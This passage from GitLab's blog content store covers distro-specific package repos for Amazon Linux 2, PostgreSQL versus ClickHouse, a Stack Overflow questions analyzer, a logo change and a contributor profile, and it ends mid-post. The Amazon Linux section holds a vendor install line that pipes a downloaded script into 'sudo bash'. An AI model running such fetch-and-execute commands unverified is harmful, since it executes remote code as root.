/etc/yum.repos.d/gitlab_gitlab*.repo\n\n#Reset the cache if the package was previously installed (not needed for installs onto a clean machine)\nif yum list installed gitlab-ee; then yum clean all ; yum makecache; fi\n```\n\nJust like the sed command for taking distro-specific packages early, this command can be implemented immediately with no bad effects - which will seamlessly keeping your automation pegged to the EL 7 packages when `script.rpm.sh` is updated.\n\n## Amazon Linux 2 package for building GitLab Runners before 15.3.0\n\nThe following code inserts two lines of code between those originally [outlined in the instructions](https://docs.gitlab.com/runner/install/linux-repository.html). The first one (starts with `sed`) splices in the Amazon Linux 2 yum repo endpoint edits into the repository configuration file created by script.rpm.sh. The second one (starts with `if yum`) cleans the yum cache if the package was already installed so that the new location will be used.\n\n> Sudo note: If you are using these commands interactively under the default SSH or SSM session manager user, then using `sudo su` before running this code is necessary. If you are using these commands in Infrastructure as Code (e.g. CloudFormation userdata scripts), then sudo may cause ‘command not found’ errors when the user running automation is already root equivalent. Be mindful about using interactively tested commands directly in your automation.\n\n```bash\n#Existing packaging script from https://docs.gitlab.com/runner/install/linux-repository.html\ncurl -L \"https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.rpm.sh\" | sudo bash\n\n#Patch to test or peg Amazon Linux 2 specific packages\nsed -i \"s/\\/el\\/7/\\/amazon\\/2/g\" /etc/yum.repos.d/runner_gitlab*.repo\n\n#Reset the cache if the package was previously installed (not needed for installs onto a clean machine)\nif yum list installed gitlab-runner; then yum clean all ; yum makecache; fi\n\n#Existing install command (remove \"-y\" to validate package and arch mapping before install)\nyum install gitlab-runner -y\n```\n\n> Notice in this output that **Version** is not distro-specific. In this case the **Arch** is `aarch64` - indicating 64-bit Graviton ARM.\n\n![Resolved GitLab Runner Dependencies](https://about.gitlab.com/images/blogimages/2022-04-amazon-linux-2/gl-runner-dependencies-resolved.png)\n\n## Pegging to EL 7 and/or a GitLab Runner version prior to 14.9.1 for a seamless post-GA transition\n\nThe underlying package for EL 7 and Amazon Linux 2 is literally a copy of the same package. However, the Amazon Linux 2 endpoint for Runner RPM packages have only been uploaded from GitLab Runner 14.9.1 and later, so if you have runners that need to be on an earlier version, you would need to stay pointed at EL 7 for those packages to continue to resolve as available. The following code shows how to do that for GitLab Runner.\n\n```bash\n#Patch to peg GitLab Version to EL 7 Packages (only does something after GA of gitlab repo script)\nsed -i \"s/\\/amazon\\/2/\\/el\\/7/g\" /etc/yum.repos.d/runner_gitlab*.repo\n\n#Reset the cache if the package was previously installed (not needed for installs onto a clean machine)\nif yum list installed gitlab-runner; then yum clean all ; yum makecache; fi\n```\n\n## Need-to-know takeaways\n\n- Amazon Linux 2 is a supported distro for GitLab instances and runner as of the release of version 15.0 on May 22, 2022.\n- Amazon Linux 2 packages are available for x86 and ARM for GitLab Version 14.9.0 and higher. (Prior to 14.9.0 the EL7 packages must be used as they have a long version history).\n- This is the first availability of ARM RPM packages of GitLab for Amazon Linux 2.\n- In 15.3 (August 22, 2022), the script.rpm.sh will automatically start directing to the Amazon Linux 2 packages where it had previously directed Amazon Linux 2 yum requests to the EL7 packages.\n- It is common to have taken a dependency directly on the latest version of this GitLab script in other automation.\n- Before the GA cutover date of August 22, 2022 (15.3.0 GitLab Release), for these scripts, you have the opportunity to pre-test these packages and determine whether they create any issues with your automation or GitLab configuration.\n- You can also peg to the Amazon Linux 2 packages early or peg to the EL7 packages in advance if you find problems that you need more time to resolve. Both of these pegging types are idempotent, meaning the code changes do not do anything that causes problems after the change over happens.\n- Existing Amazon Linux 2 installations that were installed using the EL7 packages can use a regular yum upgrade command to start using the new Amazon Linux 2 packages. This operation may also be an upgrade of the product version at the same time. For existing installations you will need to patch the yum repo files as explained in this article in order to upgrade directly to Amazon Linux 2 from EL7 using packages. \n\n> **Note**\n> This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog post and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc.\n\n![AWS Partner Logo](https://about.gitlab.com/images/blogimages/2022-04-amazon-linux-2/awsgravitonready.png){: .right}\n",[774,1384,1385,696,944],{"slug":14294,"featured":6,"template":678},"amazon-linux-2-support-and-distro-specific-packages","content:en-us:blog:amazon-linux-2-support-and-distro-specific-packages.yml","Amazon Linux 2 Support And Distro Specific Packages","en-us/blog/amazon-linux-2-support-and-distro-specific-packages.yml","en-us/blog/amazon-linux-2-support-and-distro-specific-packages",{"_path":14300,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14301,"content":14306,"config":14310,"_id":14312,"_type":16,"title":14313,"_source":17,"_file":14314,"_stem":14315,"_extension":20},"/en-us/blog/two-sizes-fit-most-postgresql-and-clickhouse",{"title":14302,"description":14303,"ogTitle":14302,"ogDescription":14303,"noIndex":6,"ogImage":12013,"ogUrl":14304,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14304,"schema":14305},"Two sizes fit most: PostgreSQL and Clickhouse","Relational databases are not in decline. Here's why.","https://about.gitlab.com/blog/two-sizes-fit-most-postgresql-and-clickhouse","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Two sizes fit most: PostgreSQL and Clickhouse\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2022-04-29\",\n      }",{"title":14302,"description":14303,"authors":14307,"heroImage":12013,"date":14308,"body":14309,"category":8943},[3532],"2022-04-29","\nSince the introduction of [System R](https://en.wikipedia.org/wiki/IBM_System_R_) in 1974, relational databases in general, and SQL databases in particular, have risen to become the dominant approach to data persistence in the industry, and have maintained that dominance despite various significant challengers. Though some have rumored the death and decline of traditional relational databases, PostgreSQL has turned out to be an improvement on its predecessors, as well as its supposed successors. \n\nIn fact, the open-source MySQL database was so ubiquitous that it became part of the eponymous LAMP stack (Linux, Apache, MySQL, Perl) that dominated early web development.\n\nThe one big exception to this trend is OLAP, where specialized techniques that can drastically improve the performance of certain workloads have met with use-cases that actually require these techniques, with new contenders such as Clickhouse enabling qualitatively different approaches to analytics.\n\n## One size does not fit all\n\nAs often happens when a technology becomes dominant, it gets applied unthinkingly even when it may not actually be appropriate, and so all kinds of data was and is being pushed into general-purpose relational databases.\nExtreme examples could be found, such as developers creating remote Oracle databases for data sets with a total of 5 small elements (not columns, pieces of data) or Apple pushing their system logs into an SQLite database (a mistake they later corrected).\n\nBind10 development started under the premise to solve scaling issues with Bind9 as DNS nameserver, using SQLite as backend. The DNS development was discontinued by ISC in 2014, and the OSS project [Bundy](https://github.com/bundy-dns/bundy) remains inactive. PowerDNS focussed on [performance scaling with MySQL/PostgreSQL](https://doc.powerdns.com/authoritative/performance.html) early.\n\nIn 2005, Michael Stonebraker, database researcher behind Ingres and later PostgreSQL, together with Uğur Çetintemel, penned a paper [“One Size Fits All”: An Idea Whose Time Has Come and Gone](http://cs.brown.edu/%7Eugur/fits_all.pdf) arguing that this had gone too far too long and backing up that argument with [benchmark results](http://nms.csail.mit.edu/%7Estavros/pubs/osfa.pdf).\n\nIn short, there were many workloads outside of the core application of databases, Online Transaction Processing (OLTP), where the general database architectures were outclassed sufficiently that it did not make sense to use them.\n\nIt should be noted that Stonebraker and Çetintemel argued not against relational databases or SQL, but against a specific architecture descendent from the original System R and Ingres systems that were and still are being used by most general purpose database systems.\n\nThis architecture has the following features:\n\n- Disk and row-oriented storage and indexing structures\n- Multithreading to hide latency\n- Locking-based concurrency control mechanisms\n- Log-based recovery\n\nIn addition to special-purpose text indexing, the primary use-case for which the traditional architecture was proving inadequate was data warehouses, for which column stores were proving 10-100x more efficient than the traditional row stores.\n\n## Clickhouse\n\nThe prediction that OLAP database engines would split off from mainstream databases has largely come to pass in the industry, with OLAP databases now being a significant category in its own right, with vertica, the commercial offshot of the original cstore discussed in the paper, one of the major players.\n\nThe practical advantages of these databases for analytical work are, as predicted, substantial enough that having a separate database engine is warranted.\n\nOr even necessary, as was the case for Yandex's clickhouse OLAP database, recently spun out into a startup that just received a US $250m series B.\nThe clickhouse developers wanted to have realtime analytics, but do so not with customized data structures, as is customary in this application domain, but instead with a generalized database engine queryable with SQL.\nOf course, there is a reason this is usually done with customised data structures: doing so with a generalized database engine was considered impossible, partly because it was impossible with existing engines.\nAs is often the case, impossible turns out to \"just\" be a lot of work and some brilliant engineering, and after a few years the developers had what they had sought after: a database engine specialised for OLAP, but general enough, queryiable via SQL and still capable of real-time analytics.\n\nBoth the engineering and the benchmark results are impressive, including our own [tests](https://gitlab.com/gitlab-org/incubation-engineering/apm/apm/-/issues/4#results) [(video0)](https://www.youtube.com/watch?v=cMdQsxolcqc).\n\nIt is significantly faster than PostgreSQL extensions such as CitusDB or Timescale DB, and reportedly also faster than vertica.\n\n## The end of an era?\n\nThe 2005 paper left OLTP as the only area where the traditional (disk-based, row-oriented, multi-threaded) architecture was viable. Two years later, he published [The end of an Architectural Era (It’s Time for a Complete Rewrite)](http://nms.csail.mit.edu/~stavros/pubs/hstore.pdf), where he argues that even for OLTP, the existing engines can be surpassed by more than a factor of ten.\n\nThe key insight was that long held assumptions about the relative performance of different components were no longer accurate, and so it turns out that, according to Stonbraker et al, around 90% of the performance budget of the database engine is used not for actually processing data, but for overheads such as buffer management and locking.\nSo if we could remove those overheads, we could make a database engine that is 10x faster than existing ones. Achieving these gains would require building a database engine that is single-threaded and works in main memory, a radical departure from the existing architecture.\n\nBut not an unprecedented one. Main memory capacities have improved many more than a million times since those early databases were designed, so many workloads that used to require persistent storage due to size can now be handled in memory.\n\nFor example, even in the early 2000s Yahoo had a policy that any dataset less than 2GB should live in RAM, not on disk. A little later, [EventPoster](https://www.martinfowler.com/bliki/EventPoster.html) architectures, [In-Process REST](https://link.springer.com/chapter/10.1007/978-1-4614-9299-3_11) and the [LMAX](https://martinfowler.com/articles/lmax.html) exchange with the [Disruptor](https://lmax-exchange.github.io/disruptor/) pattern demonstrated that moving from complex multi-threaded, disk-based systems to single threaded RAM based architectures could yield tremendous benefits in terms of simplicity, reliability and performance.\n\nAnd that was with 32 bit computing. Nowadays, we can get single servers with tens of terabytes of memory configured for us at the click of a mouse (with a subsequent bill...), so the workloads we can keep in RAM are quite substantial.\n\nStonebraker and his team built [H-Store](https://hstore.cs.brown.edu), an academic prototype, and [voltdb](https://en.wikipedia.org/wiki/VoltDB), a commercial product with the associated startup.\n\n## It hasn't taken the database world by storm.\n\nSurprisingly, that isn't because it doesn't work as intended. From all reports it seems like it does, in fact, work pretty much as advertised and can fulfill its promises.\n\nHowever, those promises came with tradeoffs, and it seems like those tradeoffs aren't ideal for most domains. First, though keeping the entire database in RAM at all times is feasible nowadays, it's probably not a good price/performance tradeoff for most domainst, for which most data is cold.\nSecond, although much higher peak performance is possible, machines are now so fast that the the highest possible peak performance is only necessary for very special domains.\n\nThird, with machines now so fast and performance now usually adequate, performance focus has shifted from peak or even throughput to worst-case latencies. With only a single thread accessing the database, a single long query can stall the entire database and cause extremely bad tail-end latencies. So the fastest database using conventional measures of throughput and peak performance may actually require supreme care not to score worst in the performance metric people now care most about.\nLast not least, requiring a distributed setup, while fine for large installs, creates a high burden for entry-level setups, meaning there is no good on-ramp for this technology.\n\n## PostgreSQL\n\nSo it looks like the era of the conventionally architected OLTP database has not, in fact, ended. Of course, this shouldn't be of too much concern to Professor Stonebraker as the contender coming out on top is still his brainchild, just an earlier one. No, not [Ingres](https://en.wikipedia.org/wiki/Ingres_%28database%29) the early public peer to IBM's System R, but its successor: PostgreSQL.\n\nPostgreSQL is becoming, or has become, the dominant variant of these conventionally architected databases according to both industry sentiment and database [rankings](https://db-engines.com/en/ranking/relational+dbms). Certainly among the engines not beholden to a major database vendor in one way or another.\n\nAt GitLab, we also use PostgreSQL with replication, having [moved away](/blog/removing-mysql-support/) from MySQL in 2019, partly because PostgreSQL actually had features that are important for us, partly because most of our customers were using it anyhow.\n\n## What about NoSQL?\n\nWell, what about it? Although the NoSQL movement of the early 2000s did point to some shortcomings in the dominant databases, the technological prescriptions actually only made sense in very rare circumstances.\nNoSQL isn't really a category, but more a feature of rich database engines like PostgreSQL.\n\nWith increasing compute power and fast storage, high volumes and transaction rates can be handled with traditional database engines, and non-traditional engines can serve relational models using SQL as the interface, see voltdb and Google's Spanner, built on top of Bigtable.\nThere are use-cases where a relational database is not needed and a key-value store is sufficient, or a JSON document store is called for, but for example JSON types in PostgreSQL handle most of these use cases just fine. Even for very specialised use-cases such as text or GIS, modern relational database engines provide direct support.\n",{"slug":14311,"featured":6,"template":678},"two-sizes-fit-most-postgresql-and-clickhouse","content:en-us:blog:two-sizes-fit-most-postgresql-and-clickhouse.yml","Two Sizes Fit Most Postgresql And Clickhouse","en-us/blog/two-sizes-fit-most-postgresql-and-clickhouse.yml","en-us/blog/two-sizes-fit-most-postgresql-and-clickhouse",{"_path":14317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14318,"content":14324,"config":14330,"_id":14332,"_type":16,"title":14333,"_source":17,"_file":14334,"_stem":14335,"_extension":20},"/en-us/blog/how-we-built-a-stack-overflow-community-questions-analyzer-and-you-can-too",{"title":14319,"description":14320,"ogTitle":14319,"ogDescription":14320,"noIndex":6,"ogImage":14321,"ogUrl":14322,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14322,"schema":14323},"How We Built a Stack Overflow Community Questions Analyzer","We wanted to better understand what Stack Overflow GitLab Community members wanted to know, so we automated a way to keep track of it all. Here's a step-by-step look at how we did it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667552/Blog/Hero%20Images/gitlabonstackoverflow.png","https://about.gitlab.com/blog/how-we-built-a-stack-overflow-community-questions-analyzer-and-you-can-too","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we built a Stack Overflow Community questions analyzer (and you can too)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Arias\"}],\n        \"datePublished\": \"2022-04-28\",\n      }",{"title":14325,"description":14320,"authors":14326,"heroImage":14321,"date":14327,"body":14328,"category":734,"tags":14329},"How we built a Stack Overflow Community questions analyzer (and you can too)",[8213],"2022-04-28","\nBeing part of the GitLab collective is an opportunity to learn first hand about the challenges the community using the DevOps Platform is facing. As a [Collective Member](https://stackoverflow.com/collectives/gitlab) logging between 2-3 times a week in StackOverflow  reading the questions and discussion posted about GitLab and manually sorting them by 'Recent Activity', 'Trending' and using Dates, I asked myself:  how can we leverage this  wealth of data and discover feedback, while finding  the most frequent topics where the community has questions? \n\nThis would be an opportunity to get a quick overview of topics where the community regularly needs help; this would also make it easier for us to create relevant content for them.  Manually sorting and extracting the text of each question wouldn’t be sustainable, so creating an automated way would be the most efficient way to proceed.\n\n## Experimenting with data-oriented content creation\n\nFinding out what the community is working on, and what they need help with while using GitLab, can help us to create better educational content that could expand their understanding of GitLab. To achieve this goal, the solution I created  after a few iterations is depicted below:\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/fontes.png)\n\nWhere the Bill Of Materials consists mainly of:\n\n- GitLab DevOps Platform\n- Stackoverflow API\n- Kubernetes Cluster\n- Open Source Python libraries:\n- scikit-learn (TF-IDF)\n- Streamlit (front-end)\n- Spacy                 \n\nI leveraged the GitLab DevOps Platform to organize the projects using groups:\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/organize.png)\n\nThe Loader project pulls questions about GitLab from the StackOverflow API, pre-processes the text and makes it usable for a second project: a Visualizer to create customized dashboards. \n\nThe automated process executed using the DevOps Platform is outlined below: \n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/automatedprocess.png)\n\n- Pull data from [StackOverflow API](https://api.stackexchange.com/docs)\n- Preprocess the response extracting relevant fields from returned JSON\n- Build a corpus and calculate TF-IDF\n- Scan for security vulnerabilities\n- Review Application and display its resulting dashboards using [Streamlit](https://streamlit.io/)\n- Deploy the built application to a Kubernetes cluster\n\nLoader and Visualizer projects have their own codebase and pipelines, which is helpful if different teams need to work separately on them. However, one project can require the other, which raises the need for  cross-project  automation. \n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/pipeline.png)\n\nThis scenario means a [multi-project pipeline](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html) is useful to automate the whole process. The multi-project pipeline enables use cases such as:\n\n- As an NLP Developer I want to work on the NLP Pipeline in the Loader Project and automatically trigger the creation of a new visualization \n- As a Streamlit Developer I want to work independently in the buttons and data visualization without touching any NLP Pipeline backend  \n\nThe outlined process above is automatically run defining the steps in a [multi-project pipeline](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html) sharing artifact:\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/demo1-gif.gif)\n\n## Finding the most frequently occurring words\n\nThe Feature Engineering step will help me to analyze the text in the whole dataset of GitLab questions. Using a simple yet powerful technique – TF-IDF – we aim to find the most relevant terms utilized by the community. By using this technique in the pipeline execution,  I represent words in numerical values and later rank them in order of importance.  This approach serves as a baseline for further improvements. More detail about this algorithm can be found [here](https://en.wikipedia.org/wiki/Tf%E2%80%93idf).\n\n## Did we achieve any success?\n\nOne run of the multi-pipeline in our solution results in dashboards such as this one:\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/demo2-gif.gif)\n\nAs an end-user of these dashboards I can immediately conclude that the main source of questions are around GitLab CI, pipelines and usage of Docker images. Not bad for a first run!  Having the data processed enables us to ask more questions and use data to answer it, such as, what are the questions from the highest [StackOverflow reputation](https://stackoverflow.com/help/whats-reputation) users ? \n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/questions.png)\n\nCould these questions be inspiration for tutorials for the most advanced users, or the implementation of a new feature? \n\nBecause everyone can contribute, let's take a look at the users who just started gaining their StackOverflow reputation:\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/contributors.png)\n\nThe question about access and reading/writing permissions in Portuguese is interesting. It makes me wonder about content localization and GitLab meetups in Portuguese-speaking countries. Not surprisingly, there were also \tquestions about GitLab CI too as the text processing and ranking found most relevant in the corpus. \n\nDid we achieve any success? Yes, using a baseline technique such as TF-IDF sped up by  DevOps practices allowed us  to find out relevant terms and help us to understand where the majority of the community needs help in their DevOps journey. I have automated many steps that will allow me to focus on data exploration and possible implementation of more complex NLP Techniques rather than infrastructure allocation or manual input of commands and tests.\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/demo-reduced.gif)\n\nAs a Technical Marketing Manager, I want to create content that is relevant to enable or inspire the  community to succeed. \n\nA personal take away: Educating about the latest GitLab DevOps platform capabilities and the problems they solve  is important and so is keeping an eye on the content that might not be related to a new feature but is needed right now.\n\nAre we done? No, quoting Da Vinci's altered quote about [Art](https://www.artshub.com.au/news/features/art-is-never-finished-only-abandoned-262096-2370305/#:~:text=Lottie%20Consalvo%20in%20her%20studio,writers%2C%20and%20creatives%20would%20recognise) but with software: \"Software is never finished, only abandoned.\"\n\nThere is room for improvement and adding capabilities to this project. We continue iterating, listening to the community, and we encourage you to clone these projects, try it yourself, and adjust it with the topics that make sense to you. Create a merge request to improve the codebase and suggest new dashboards ideas!\n\nExplore the [group of projects](https://gitlab.com/tech-marketing/ad-fontes) and take a look at the [dashboard](https://bit.ly/3jeTFQp).\n",[4103,267,2704],{"slug":14331,"featured":6,"template":678},"how-we-built-a-stack-overflow-community-questions-analyzer-and-you-can-too","content:en-us:blog:how-we-built-a-stack-overflow-community-questions-analyzer-and-you-can-too.yml","How We Built A Stack Overflow Community Questions Analyzer And You Can Too","en-us/blog/how-we-built-a-stack-overflow-community-questions-analyzer-and-you-can-too.yml","en-us/blog/how-we-built-a-stack-overflow-community-questions-analyzer-and-you-can-too",{"_path":14337,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14338,"content":14344,"config":14349,"_id":14351,"_type":16,"title":14352,"_source":17,"_file":14353,"_stem":14354,"_extension":20},"/en-us/blog/devops-is-at-the-center-of-gitlab",{"title":14339,"description":14340,"ogTitle":14339,"ogDescription":14340,"noIndex":6,"ogImage":14341,"ogUrl":14342,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14342,"schema":14343},"DevOps is at the center of GitLab","GitLab allows companies to do away with the many point solutions that have been digitally duct taped together and instead bring all DevOps functionalities together in ONE place","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683273/Blog/Hero%20Images/Apr_27_Blog_Post_Image_2_-_light.png","https://about.gitlab.com/blog/devops-is-at-the-center-of-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevOps is at the center of GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2022-04-27\",\n      }",{"title":14339,"description":14340,"authors":14345,"heroImage":14341,"date":14346,"body":14347,"category":736,"tags":14348},[3532],"2022-04-27","Accelerating DevOps adoption is core to achieving our mission of allowing everyone to contribute. DevOps enables contribution and collaboration between disparate and previously siloed teams. In fact, DevOps is so central to GitLab that we have incorporated the DevOps infinity loop into our logo. I’m excited to share our new logo and look with you.\n\n## Building the One DevOps Platform\n\nDevOps has come a long way since GitLab was incorporated in 2014. And DevOps strategies are continuing to evolve. For some companies, each team selects their own DevOps tools, which causes problems when teams try to collaborate. For other companies, they select a set of preferred tools. But then they still require a lot of custom work to integrate DevOps point solutions together into a “Do It Yourself DevOps” solution. The more point solutions that are digitally duct taped together, the harder it is to integrate and maintain them all. \n\nAnd that’s why I’m proud that GitLab allows companies to do away with the many point solutions that have been digitally duct taped together and instead bring all DevOps functionalities together in ONE place. \n\nAs someone who is passionate about single sources of truth for information, the concept of One resonates with me. There are many ways in which GitLab as The One DevOps Platform helps customers evolve their DevOps landscape and deliver better results for their organizations.\n\n- One interface\n- One data model\n- One permissions model\n- One value stream\n- One set of reports\n- One spot to secure your code \n- One location to deploy to any cloud \n- One place for everyone to contribute\n\nOne. Platform.\n\nToday, all companies live and die on their ability to create and deliver software. This is true for every type of organization, from the largest global commercial enterprises to the emerging hypergrowth startups.  That is why companies such as Siemens, T-Mobile, and UBS, have selected GitLab as their DevOps platform.\n\n> \"Having the ability to fully develop software in the cloud through GitLab is a game changer, allowing us to accelerate our tech strategy and offer a best-in-class engineering experience. It also means we're able to constantly develop, test and deploy technical solutions while they are running, improving time-to-market for our clients while decreasing costs.\" - Mike Dargan, Chief Digital and Information Officer at UBS.\n\n## Evolving the GitLab brand, iterating our logo and look\n\nIteration is deeply ingrained in our values. We strive to do the smallest thing possible to get to the best result as quickly as possible. This value leads to quicker learning and tighter feedback loops.\n\nI see this moment both as a symbol of GitLab’s growth and of the evolution of DevOps itself. To reinforce this moment, we are also evolving our logo. The new logo places GitLab at the center of the DevOps infinity loop. I am pleased that we chose to iterate instead of a step change – staying true to our values. \n\n![Animation of GitLab logo](https://about.gitlab.com/images/blogimages/GitLab-Logo-Animation-onWhite-500x300.gif){: .shadow}  \n\n## And we’re just getting started\n\nI aspire for GitLab to represent a place where we elevate others through knowledge access, job access, and The One DevOps platform. More to come later this year as we work to help individuals elevate their careers by learning core DevOps principles and how to use GitLab.\n\nThank you to our amazing customers for choosing GitLab as your One DevOps Platform. Most importantly, thank you for believing in a mission where everyone can contribute and live the GitLab values every day.\n\n_GitLab releases new features on the 22nd of each month. We invite you to the [GitLab 15 release event](https://page.gitlab.com/fifteen) to experience exciting new elements of The One DevOps Platform. Join us._",[736,4103],{"slug":14350,"featured":6,"template":678},"devops-is-at-the-center-of-gitlab","content:en-us:blog:devops-is-at-the-center-of-gitlab.yml","Devops Is At The Center Of Gitlab","en-us/blog/devops-is-at-the-center-of-gitlab.yml","en-us/blog/devops-is-at-the-center-of-gitlab",{"_path":14356,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14357,"content":14363,"config":14370,"_id":14372,"_type":16,"title":14373,"_source":17,"_file":14374,"_stem":14375,"_extension":20},"/en-us/blog/gitlab-heroes-unmasked-lessons-from-early-mistakes",{"title":14358,"description":14359,"ogTitle":14358,"ogDescription":14359,"noIndex":6,"ogImage":14360,"ogUrl":14361,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14361,"schema":14362},"Overcoming coding challenges to become a valued GitLab hero","Niklas van Schrick shares his journey from learning a new language to becoming an active contributor to GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668009/Blog/Hero%20Images/wrong-way-2.jpg","https://about.gitlab.com/blog/gitlab-heroes-unmasked-lessons-from-early-mistakes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Heroes Unmasked: How a difficult start in coding led to being a valued contributor\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jamie Rachel\"}],\n        \"datePublished\": \"2022-04-26\",\n      }",{"title":14364,"description":14359,"authors":14365,"heroImage":14360,"date":14367,"body":14368,"category":962,"tags":14369},"GitLab Heroes Unmasked: How a difficult start in coding led to being a valued contributor",[14366],"Jamie Rachel","2022-04-26","\n\nA key to GitLab’s success is our vast community of advocates. Here at GitLab, we call these active contributors [\"GitLab Heroes\"](/community/heroes/). Each hero contributes to GitLab in numerous ways, including elevating releases, sharing best practices, speaking at events, and more.  [Niklas van Schrick](https://gitlab.com/Taucher2003), who currently works as a Developer trainee, has been an active GitLab Hero since November 2021. \n\nNiklas upholds the [GitLab values](https://handbook.gitlab.com/handbook/values/), especially for transparency, by sharing his trials and discoveries with self-hosted instances. We all can learn from each other’s mistakes, which leads to collaborating to improve processes and build a better developer experience.\n\nHis journey to becoming a GitLab hero is detailed below.\n\n## A difficult beginning\n\n**Niklas van Schrick:** Every developer has to start somewhere. My journey started in May 2019 with Java and Minecraft. While development in Minecraft is great for fast results, based on my experience it’s not the best idea for a beginner.\n\nIt introduces the problem of learning a framework instead of the actual language and it delayed my learning process. I was able to write some functionality as plugins for a server, but I didn't know a single principle of the underlying language, Java. That led to code that was not easily maintainable. For each new functionality, I was building quickly without properly thinking about the structure of my code.\n\nWhen I was starting out, I learned from another developer. Although it is great to have someone guide you through the process, it can also lead to issues. My mistake was believing everything my mentor told me and not looking for solutions myself. In this way, I learned anti-patterns of code design, which led to a full refactoring of the project at a later time. It also slowed down my learning process further as I was asking for help before searching for solutions myself.\n\n## The importance of joining a developer community\n\n**Van Schrick:** In early 2020, we moved our projects to a self-hosted GitLab instance. It was my first experience with [version control](/topics/version-control/). It was a big advantage because we were able to see previous changes and easily identify the causes of bugs. I recommend using a version control system even in the early stages of your development journey, as it makes many things easier and keeps a history of your work. In the beginning, it is totally fine to just push to master or not even use a remote repository.\n\nA big improvement for me was joining a [developer community](/community/), as there are many developers who are happy to help. I learned many new concepts that were widely used by the developers of that community, and this led to much more maintainable code. You don't even have to actively ask in the community to learn new things.\n\nMost of the time, it is enough to keep up with the messages and read the conversations from others. In a helpful developer community, you always have someone who says, \"Why are you doing it like this? There are better ways to do this,\" and offers suggestions to improve the code.\n\n## Contribute, contribute, contribute\n\n**Van Schrick:** Another big step is to make contributions to open source projects. It allowed me to be part of the code review process from others, and learn from it. My first contribution to an open source project, which was not led by me, was a [typo fix in a GitLab view](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54834). I was surprised at how well the code review went and how fast it got merged. The positive experience encouraged me to join an open source project as a maintainer, and it has been a great experience. I ended up being an active contributor to the GitLab project and a GitLab Hero.\n\n_GitLab welcomes every new contributor and has [many possibilities for your first contribution](/community/contribute/)._\n",[2704,815,267],{"slug":14371,"featured":6,"template":678},"gitlab-heroes-unmasked-lessons-from-early-mistakes","content:en-us:blog:gitlab-heroes-unmasked-lessons-from-early-mistakes.yml","Gitlab Heroes Unmasked Lessons From Early Mistakes","en-us/blog/gitlab-heroes-unmasked-lessons-from-early-mistakes.yml","en-us/blog/gitlab-heroes-unmasked-lessons-from-early-mistakes",{"_path":14377,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14378,"content":14384,"config":14390,"_id":14392,"_type":16,"title":14393,"_source":17,"_file":14394,"_stem":14395,"_extension":20},"/en-us/blog/career-spotlight-sre-vs-devops-engineer-vs-devops-platform-engineer",{"title":14379,"description":14380,"ogTitle":14379,"ogDescription":14380,"noIndex":6,"ogImage":14381,"ogUrl":14382,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14382,"schema":14383},"DevOps careers: SRE, engineer, and platform engineer","Where does an SRE leave off and a DevOps engineer (or platform engineer) begin? Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666685/Blog/Hero%20Images/comparing-confusing-terms-in-github-bitbucket-and-gitlab-cover.jpg","https://about.gitlab.com/blog/career-spotlight-sre-vs-devops-engineer-vs-devops-platform-engineer","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevOps careers: SRE, engineer, and platform engineer\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lauren Gibbons Paul\"}],\n        \"datePublished\": \"2022-04-25\",\n      }",{"title":14379,"description":14380,"authors":14385,"heroImage":14381,"date":14387,"body":14388,"category":962,"tags":14389},[14386],"Lauren Gibbons Paul","2022-04-25","Even if you’re totally happy in your current position, it pays to keep an eye on your DevOps career path and learn about emerging roles, especially given [the way the DevOps space evolves so rapidly](https://www.simplilearn.com/is-a-devops-career-right-for-you-article). \n\nFor example, you might be wondering about the role of site reliability engineer (SRE) as opposed to DevOps engineer (and the totally new position called DevOps platform engineer, more on that later). These are all engineering positions requiring tech expertise and coding chops, but they play distinct roles on the DevOps team. Here’s what you need to know:\n\n## SRE: A seasoned role\n\nAs the title suggests, at a high level, SREs focus primarily on reliability, solving operational, scale, and uptime problems. In 2003, Google originated the SRE role to safeguard the uptime of its site, but it has evolved considerably since the advent of cloud native applications and platforms. Today, SREs concentrate on [minimizing the frequency and impact of 